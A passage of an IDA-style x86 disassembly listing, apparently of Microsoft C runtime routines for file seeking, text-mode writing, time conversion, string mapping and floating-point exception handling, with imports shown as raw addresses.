ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB9D8 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43CF74 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DCFC8 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DCFC4 call near ptr 2660000h nop loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43D43C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43D358 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43D35C, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43D360 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DCD80 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB928, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2780000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 268082Fh jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB92C, 0 mov dword_4DB928, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DCC80[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB928, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DCD80 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB928, 9 mov dword_4DB92C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 268082Fh mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2700000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 268082Fh mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB928, 1Ch mov dword_4DB92C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB92C, 0 mov dword_4DB928, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB9FC, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_422B1E mov dword_4DB9FC, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CB4DC push esi push edi call near ptr 265120Ah nop test eax, eax jz loc_422C58 mov dword_4DB9FC, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB9FC cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 265120Ah jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB9F4 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2840000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2840000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 2830000h nop mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DBA00 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBA00, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43CFF0 mov edx, dword_43CFF4 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43CF80h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43CFFC cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43CFFC, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43CFFC, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43CFFC, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43CFFC, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43CFFC, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43CFFC, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43CFFC, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43CFFC push 8 call ebx pop ecx mov dword_43CFFC, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DBA00, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 2640000h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43CFF8 cmp dword_43CF78, edx push esi mov eax, offset dword_43CF78 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43CF78h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CF78h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DCFD4, 0 jnz short loc_422E80 call sub_42026D loc_422E80: 